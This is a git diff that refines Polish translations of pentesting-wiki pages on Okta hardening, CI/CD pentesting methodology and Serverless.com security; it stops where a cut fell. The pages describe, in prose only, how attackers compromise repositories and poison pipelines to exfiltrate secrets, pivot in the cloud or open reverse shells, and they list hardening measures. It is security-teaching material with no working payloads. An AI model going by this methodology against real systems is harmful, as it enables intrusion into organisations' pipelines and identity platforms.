diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index b6de16162..ace5f6dee 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -17,7 +17,7 @@ Można zobaczyć **osoby w grupach** oraz **aplikacje przypisane** do każdej gr
Oczywiście, każda grupa o nazwie **admin** jest interesująca, szczególnie grupa **Global Administrators**, sprawdź członków, aby dowiedzieć się, kto jest najbardziej uprzywilejowany.
-Z perspektywy przeglądu whitebox, **nie powinno być więcej niż 5 globalnych administratorów** (lepiej, jeśli jest tylko 2 lub 3).
+Z przeglądu whitebox, **nie powinno być więcej niż 5 globalnych administratorów** (lepiej, jeśli jest tylko 2 lub 3).
### Devices
@@ -33,7 +33,7 @@ Ponadto, w profilu **`User (default)`** z Okta możesz zobaczyć **które pola**
Katalogi pozwalają na importowanie osób z istniejących źródeł. Przypuszczam, że tutaj zobaczysz użytkowników importowanych z innych katalogów.
-Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić niektóre wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**.
+Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**.
### Profile Sources
@@ -65,7 +65,7 @@ Interesujące ustawienie, ale nic super interesującego z punktu widzenia bezpie
### Applications
-Tutaj możesz znaleźć wszystkie **skonfigurowane aplikacje** i ich szczegóły: Kto ma do nich dostęp, jak jest skonfigurowane (SAML, OpenID), URL do logowania, mapowania między Okta a aplikacją...
+Tutaj możesz znaleźć wszystkie **skonfigurowane aplikacje** i ich szczegóły: Kto ma do nich dostęp, jak są skonfigurowane (SAML, OpenID), URL do logowania, mapowania między Okta a aplikacją...
W zakładce **`Sign On`** znajduje się również pole o nazwie **`Password reveal`**, które pozwala użytkownikowi **ujawnić swoje hasło** podczas sprawdzania ustawień aplikacji. Aby sprawdzić ustawienia aplikacji z panelu użytkownika, kliknij 3 kropki:
@@ -79,7 +79,7 @@ I możesz zobaczyć więcej szczegółów o aplikacji (jak funkcja ujawniania ha
### Access Certifications
-Użyj Access Certifications, aby tworzyć kampanie audytowe w celu okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub odbierania dostępu, gdy jest to wymagane.
+Użyj Access Certifications, aby tworzyć kampanie audytowe do okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub cofania dostępu, gdy jest to wymagane.
Nie widziałem tego używanego, ale przypuszczam, że z defensywnego punktu widzenia to ładna funkcja.
@@ -102,7 +102,7 @@ Tutaj można znaleźć poprawnie i **niebezpiecznie** skonfigurowane **ustawieni
### Authenticators
-Tutaj możesz znaleźć wszystkie metody uwierzytelniania, które użytkownik mógłby użyć: Hasło, telefon, e-mail, kod, WebAuthn... Klikając w uwierzytelnianie hasłem, możesz zobaczyć **politykę haseł**. Sprawdź, czy jest silna.
+Tutaj możesz znaleźć wszystkie metody uwierzytelniania, które użytkownik może użyć: Hasło, telefon, e-mail, kod, WebAuthn... Klikając w uwierzytelnianie hasłem, możesz zobaczyć **politykę haseł**. Sprawdź, czy jest silna.
W zakładce **Enrollment** możesz zobaczyć, które z nich są wymagane lub opcjonalne:
@@ -122,13 +122,13 @@ Tutaj możesz znaleźć polityki sesji przypisane do różnych grup. Na przykła
-Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie utrzymywanie ciasteczek sesji w rozszerzeniach przeglądarki oraz ograniczenie lokalizacji i dostawcy tożsamości (jeśli to możliwe). Na przykład, jeśli każdy użytkownik powinien logować się z konkretnego kraju, możesz zezwolić tylko na tę lokalizację.
+Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie utrzymywanie ciasteczek sesyjnych w rozszerzeniach przeglądarki oraz ograniczenie lokalizacji i dostawcy tożsamości (jeśli to możliwe). Na przykład, jeśli każdy użytkownik powinien logować się z konkretnego kraju, możesz zezwolić tylko na tę lokalizację.
### Identity Providers
-Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom końcowym **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej.
+Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej.
-Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP), dodając SAML przychodzący. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa.
+Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP) poprzez dodanie SAML przychodzącego. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa.
**Jeśli jakikolwiek dostawca tożsamości jest skonfigurowany**, z perspektywy atakującego i obrońcy sprawdź tę konfigurację i **czy źródło jest naprawdę godne zaufania**, ponieważ atakujący, który je skompromituje, mógłby również uzyskać dostęp do środowiska Okta.
@@ -140,7 +140,7 @@ Ponownie, sprawdź to, ponieważ atakujący, który skompromituje AD organizacji
### Network
-Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w swojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne.
+Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w Twojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne.
Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **użyć ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**.
@@ -154,11 +154,11 @@ Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są do
### API
-Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, czas **wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**.
+Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, **czas wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token, i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**.
-**Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i którym ufasz, aby uzyskać dostęp do swojej organizacji Okta przez API Okta.
+**Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i ufasz, aby uzyskać dostęp do Twojej organizacji Okta przez API Okta.
-Nie powinno być zbyt wielu tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać.
+Nie powinno być dużo tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać.
## Workflow
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 98629fef8..b0252088b 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Metodologia Pentestingu CI/CD
{{#include ../banners/hacktricks-training.md}}
@@ -6,21 +6,21 @@
## VCS
-VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarządzanie swoim kodem źródłowym**. Najczęściej używanym jest **git** i zazwyczaj znajdziesz firmy korzystające z niego na jednej z następujących **platform**:
+VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarządzanie swoim kodem źródłowym**. Najczęściej używanym jest **git** i zazwyczaj można znaleźć firmy korzystające z niego na jednej z następujących **platform**:
- Github
- Gitlab
- Bitbucket
- Gitea
-- Dostawcy chmury (oferują własne platformy VCS)
+- Dostawcy chmurowi (oferują swoje własne platformy VCS)
-## CI/CD Pipelines
+## Pipelines CI/CD
Pipelines CI/CD umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane przepływy pracy są **wyzwalane przez konkretne akcje**, takie jak push kodu, pull requesty lub zaplanowane zadania. Są przydatne do usprawnienia procesu od rozwoju do produkcji.
-Jednak te systemy muszą być **wykonywane gdzieś** i zazwyczaj z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub uzyskiwania dostępu do wrażliwych informacji**.
+Jednak te systemy muszą być **wykonywane gdzieś** i zazwyczaj z **uprawnieniami uprzywilejowanymi do wdrażania kodu lub dostępu do wrażliwych informacji**.
-## VCS Pentesting Methodology
+## Metodologia Pentestingu VCS
> [!NOTE]
> Nawet jeśli niektóre platformy VCS pozwalają na tworzenie pipelines, w tej sekcji będziemy analizować tylko potencjalne ataki na kontrolę kodu źródłowego.
@@ -30,20 +30,20 @@ Platformy, które zawierają kod źródłowy twojego projektu, zawierają wrażl
- **Wycieki**: Jeśli twój kod zawiera wycieki w commitach i atakujący ma dostęp do repozytorium (ponieważ jest publiczne lub ma dostęp), może odkryć te wycieki.
- **Dostęp**: Jeśli atakujący może **uzyskać dostęp do konta w platformie VCS**, może zyskać **więcej widoczności i uprawnień**.
- **Rejestracja**: Niektóre platformy pozwalają tylko zewnętrznym użytkownikom na tworzenie konta.
-- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby wejść na przykład).
-- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje kilka rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium w jakiś sposób.
+- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby się zalogować na przykład).
+- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje wiele rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium.
- **Webhooks**: Platformy VCS pozwalają na generowanie webhooków. Jeśli nie są **chronione** niewidocznymi sekretami, **atakujący może je wykorzystać**.
- Jeśli nie ma sekretu, atakujący może wykorzystać webhook z platformy trzeciej.
- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma sekret.
-- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiś rodzaj **dostępu do zapisu** w repozytoriach, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli:
+- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiegoś rodzaju **dostęp do zapisu** w repozytoriach, może próbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli:
- Kompromitacja głównej gałęzi w celu **kompromitacji produkcji**.
- Kompromitacja głównej (lub innych gałęzi) w celu **kompromitacji maszyn deweloperów** (ponieważ zazwyczaj wykonują testy, terraform lub inne rzeczy w repozytorium na swoich maszynach).
-- **Kompromitacja pipeline** (sprawdź następną sekcję)
+- **Kompromitacja pipeline** (sprawdź następną sekcję).
-## Pipelines Pentesting Methodology
+## Metodologia Pentestingu Pipelines
Najczęstszym sposobem definiowania pipeline jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych zadań, warunki wpływające na przepływ i ustawienia środowiska budowania.\
-Te pliki zazwyczaj mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu, zadanie pipeline **pobiera kod** z wybranego źródła (np. commit / gałąź) i **wykonuje polecenia określone w pliku konfiguracyjnym CI** na tym kodzie.
+Te pliki zazwyczaj mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu, zadanie pipeline **pobiera kod** z wybranego źródła (np. commit / gałąź) i **uruchamia polecenia określone w pliku konfiguracyjnym CI** na tym kodzie.
Dlatego ostatecznym celem atakującego jest w jakiś sposób **kompromitacja tych plików konfiguracyjnych** lub **poleceń, które wykonują**.
@@ -67,37 +67,37 @@ Istnieją 3 smaki PPE:
### Korzyści z Eksploatacji
-Znając 3 smaki, aby zatruć pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji:
+Znając 3 smaki zatruwania pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji:
- **Sekrety**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** do swoich zadań (pobieranie kodu, budowanie go, wdrażanie...) i te uprawnienia są zazwyczaj **przyznawane w sekretach**. Te sekrety są zazwyczaj dostępne za pośrednictwem **zmiennych env lub plików w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów.
- W zależności od platformy pipeline atakujący **może potrzebować określić sekrety w konfiguracji**. Oznacza to, że jeśli atakujący nie może zmodyfikować pliku konfiguracyjnego CI (**I-PPE** na przykład), może **tylko wyeksfiltrować sekrety, które ma ten pipeline**.
-- **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej pivotować.
+- **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej się przemieszczać.
- **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej ilości zasobów**.
-- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny ról IAM/kont usługowych **z niej**, aby uzyskać **dalszy dostęp w chmurze**.
+- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny **ról IAM/kont serwisowych** z niej, aby uzyskać **dalszy dostęp w chmurze**.
- **Maszyna platformy**: Czasami zadania będą wykonywane wewnątrz **maszyn platformy pipeline**, które zazwyczaj znajdują się w chmurze z **brakiem dalszego dostępu**.
-- **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotny shell na każdej możliwej maszynie, aby spróbować dalej ją wykorzystać.
-- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i ostateczna wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**.
+- **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotną powłokę na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać.
+- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i końcowa wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**.
-## More relevant info
+## Więcej istotnych informacji
-### Tools & CIS Benchmark
+### Narzędzia i Benchmarki CIS
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**benchmarku CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia.
-### Top 10 CI/CD Security Risk
+### Top 10 ryzyk bezpieczeństwa CI/CD
-Sprawdź ten interesujący artykuł o 10 największych ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Sprawdź ten interesujący artykuł na temat 10 największych ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
-### Labs
+### Laboratoria
-- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak uruchomić ją lokalnie, aby móc ją skonfigurować według własnych potrzeb do testowania.
+- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb do testowania.
- Laboratorium Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
-### Automatic Tools
+### Narzędzia automatyczne
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu.
-## References
+## Referencje
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index c5bbf382d..e5ea8b046 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -68,7 +68,7 @@ rate: rate(10 minutes)
-Resource
+Zasób
**Zasoby** pozwalają na zdefiniowanie dodatkowych zasobów chmurowych, od których zależy Twoja usługa, takich jak bazy danych, kosze pamięci lub role IAM.
@@ -96,9 +96,9 @@ WriteCapacityUnits: 1
Dostawca
-Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne istotne dla tego dostawcy.
+Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne związane z tym dostawcą.
-Zawiera szczegóły takie jak środowisko uruchomieniowe, region, etap i dane uwierzytelniające.
+Zawiera szczegóły takie jak czas wykonania, region, etap i dane uwierzytelniające.
```yaml
yamlCopy codeprovider:
name: aws
@@ -128,7 +128,7 @@ region: us-west-2
Wtyczki
-**Wtyczki** rozszerzają funkcjonalność Frameworka Serverless, dodając nowe funkcje lub integrując się z innymi narzędziami i usługami. Są definiowane w sekcji `plugins` i instalowane za pomocą npm.
+**Wtyczki** rozszerzają funkcjonalność Serverless Framework, dodając nowe funkcje lub integrując się z innymi narzędziami i usługami. Są definiowane w sekcji `plugins` i instalowane za pomocą npm.
```yaml
plugins:
- serverless-offline
@@ -157,7 +157,7 @@ layers:
Zmienne i Zmienne Niestandardowe
-**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejsc zastępczych, które są rozwiązywane w czasie wdrażania.
+**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejscowników, które są rozwiązywane w czasie wdrażania.
- **Składnia:** składnia `${variable}` może odnosić się do zmiennych środowiskowych, zawartości plików lub innych parametrów konfiguracyjnych.
@@ -169,7 +169,7 @@ environment:
TABLE_NAME: ${self:custom.tableName}
```
-* **Zmienne Niestandardowe:** sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`.
+* **Zmienne Niestandardowe:** Sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`.
```yaml
custom:
@@ -204,7 +204,7 @@ Fn::Join:
Role i uprawnienia IAM
-**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych funkcji, aby określić niezbędne uprawnienia.
+**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych ustawień funkcji, aby określić niezbędne uprawnienia.
```yaml
provider:
[...]
@@ -254,7 +254,7 @@ plugins:
Hooks
-**Hooks** pozwalają na uruchamianie niestandardowych skryptów lub poleceń w określonych punktach cyklu życia wdrożenia. Są definiowane za pomocą wtyczek lub w pliku `serverless.yml`, aby wykonywać działania przed lub po wdrożeniach.
+**Hooks** pozwalają na uruchamianie niestandardowych skryptów lub poleceń w określonych punktach cyklu życia wdrożenia. Są definiowane za pomocą wtyczek lub w pliku `serverless.yml`, aby wykonywać akcje przed lub po wdrożeniach.
```yaml
custom:
hooks:
@@ -325,7 +325,7 @@ method: get
4. Utwórz dostawcę AWS, przechodząc do **dashboardu** w `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
1. Aby dać `serverless.com` dostęp do AWS, poprosi o uruchomienie stosu cloudformation przy użyciu tego pliku konfiguracyjnego (w momencie pisania tego tekstu): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-2. Ten szablon generuje rolę o nazwie **`SFRole-`** z **`arn:aws:iam::aws:policy/AdministratorAccess`** dla konta z tożsamością zaufania, która pozwala na dostęp konta `Serverless.com` do tej roli.
+2. Ten szablon generuje rolę o nazwie **`SFRole-`** z **`arn:aws:iam::aws:policy/AdministratorAccess`** dla konta z tożsamością zaufania, która pozwala na dostęp do roli konta `Serverless.com` AWS.
@@ -377,7 +377,7 @@ Type: String
-Relacja Zaufania
+Relacja zaufania
```json
{
"Version": "2012-10-17",
@@ -399,7 +399,7 @@ Type: String
```
-5. Tutorial prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby wygenerować **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd.
+5. Samouczek prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby utworzyć **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd.
{{#tabs }}
{{#tab name="createCustomer.js" }}
@@ -483,17 +483,17 @@ TableName: ${self:service}-customerTable-${sls:stage}
6. Wdróż to, uruchamiając **`serverless deploy`**
1. Wdrożenie zostanie przeprowadzone za pomocą CloudFormation Stack
-2. Zauważ, że **lambdy są wystawione za pomocą API gateway** i nie za pomocą bezpośrednich URL-i
+2. Zauważ, że **lambdy są udostępniane za pośrednictwem API gateway** a nie za pomocą bezpośrednich URL-i
7. **Przetestuj to**
1. Poprzedni krok wydrukuje **URL-e**, gdzie Twoje funkcje lambda punktów końcowych API zostały wdrożone
## Przegląd bezpieczeństwa Serverless.com
-### **Źle skonfigurowane role IAM i uprawnienia**
+### **Źle skonfigurowane role i uprawnienia IAM**
Zbyt szerokie role IAM mogą przyznać nieautoryzowany dostęp do zasobów chmurowych, prowadząc do naruszeń danych lub manipulacji zasobami.
-Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
+Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
@@ -527,7 +527,7 @@ Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z upra
#### **Strategie łagodzenia**
-- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia do każdej funkcji.
+- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia każdej funkcji.
```yaml
provider:
@@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
Przechowywanie wrażliwych informacji (np. kluczy API, poświadczeń bazy danych) bezpośrednio w **`serverless.yml`** lub kodzie może prowadzić do ujawnienia, jeśli repozytoria zostaną skompromitowane.
-**Zalecanym** sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**!
+Zalecanym sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**!
> [!OSTRZEŻENIE]
> Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambd w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!**
@@ -564,16 +564,16 @@ provider:
environment:
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+I nawet jeśli to zapobiega twardemu kodowaniu wartości zmiennej środowiskowej w pliku **`serverless.yml`**, wartość zostanie uzyskana w czasie wdrażania i będzie **dodana w postaci czystego tekstu wewnątrz zmiennej środowiskowej lambda**.
> [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> Zalecanym sposobem przechowywania zmiennych środowiskowych przy użyciu serveless.com byłoby **przechowywanie ich w tajemnicy AWS** i po prostu przechowywanie nazwy tajemnicy w zmiennej środowiskowej, a **kod lambda powinien ją zebrać**.
#### **Strategie łagodzenia**
-- **Integracja z Menedżerem Sekretów:** Użyj usług takich jak **AWS Secrets Manager.**
+- **Integracja z Menedżerem Tajemnic:** Użyj usług takich jak **AWS Secrets Manager.**
- **Szyfrowane Zmienne:** Wykorzystaj funkcje szyfrowania Frameworka Serverless dla wrażliwych danych.
-- **Kontrola Dostępu:** Ogranicz dostęp do sekretów na podstawie ról.
+- **Kontrola Dostępu:** Ogranicz dostęp do tajemnic w oparciu o role.
---
@@ -635,7 +635,7 @@ method: get
authorizer: aws_iam
```
-- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając tempo żądań.
+- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając szybkość żądań.
```yaml
provider:
@@ -673,7 +673,7 @@ Wspólne zasoby i niewystarczająca izolacja mogą prowadzić do eskalacji upraw
- **Izoluj Funkcje:** Przypisz odrębne zasoby i role IAM, aby zapewnić niezależne działanie.
- **Podział Zasobów:** Użyj oddzielnych baz danych lub koszyków do przechowywania dla różnych funkcji.
-- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Prywatnych Chmurach dla lepszej izolacji sieci.
+- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Chmurach Prywatnych dla lepszej izolacji sieci.
```yaml
provider:
@@ -707,7 +707,7 @@ SSEEnabled: true
```
- **Szyfruj Dane w Tranzycie:** Użyj HTTPS/TLS dla wszystkich transmisji danych.
-- **Zabezpiecz Komunikację API:** Wymuś protokoły szyfrowania i waliduj certyfikaty.
+- **Zabezpiecz Komunikację API:** Wymuszaj protokoły szyfrowania i weryfikuj certyfikaty.
- **Zarządzaj Kluczami Szyfrującymi Bezpiecznie:** Użyj zarządzanych usług kluczy i regularnie rotuj klucze.
---
@@ -742,12 +742,12 @@ body: JSON.stringify({ message: 'Internal Server Error' }),
### **Niezabezpieczone Praktyki Wdrażania**
-Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji.
